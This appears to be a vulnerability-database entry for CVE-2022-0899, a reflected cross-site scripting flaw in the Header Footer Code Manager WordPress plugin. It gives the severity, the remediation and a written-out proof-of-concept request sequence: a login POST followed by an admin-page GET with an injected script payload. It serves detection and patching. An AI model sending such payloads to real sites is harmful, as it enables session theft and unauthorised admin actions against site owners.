🔙 목록으로 돌아가기

CVE-2022-0899: Header Footer Code Manager < 1.1.24 - Cross-Site Scripting

TitleHeader Footer Code Manager < 1.1.24 - Cross-Site Scripting
Authorr3Y3r53
SeverityMedium
ImpactAuthenticated attackers can inject malicious JavaScript via reflected XSS in URL parameters, potentially stealing administrator session cookies or performing administrative actions.
RemediationUpgrade to Header Footer Code Manager version 1.1.24 or later.
CVSS Score6.1
EPSS Score0.08267
CVE IDCVE-2022-0899
CWE IDCWE-79
Tags cve2022 cve wpscan wp wp-plugin wordpress xss authenticated draftpress vuln

🔍 Vulnerability Description

The Header Footer Code Manager WordPress plugin before 1.1.24 does not escape generated URLs before outputting them back in attributes in an admin page, leading to a Reflected Cross-Site Scripting.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1 Mobile/15E148 Safari/604.1
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

log=L9Kni2&pwd=AhiXNQ&wp-submit=Log+In
GET /wp-admin/admin.php?page=hfcm-list&'><script>alert(/document.domain/)</script> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:78.0) Gecko/20100101 Firefox/78.0
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0899.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-0899.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A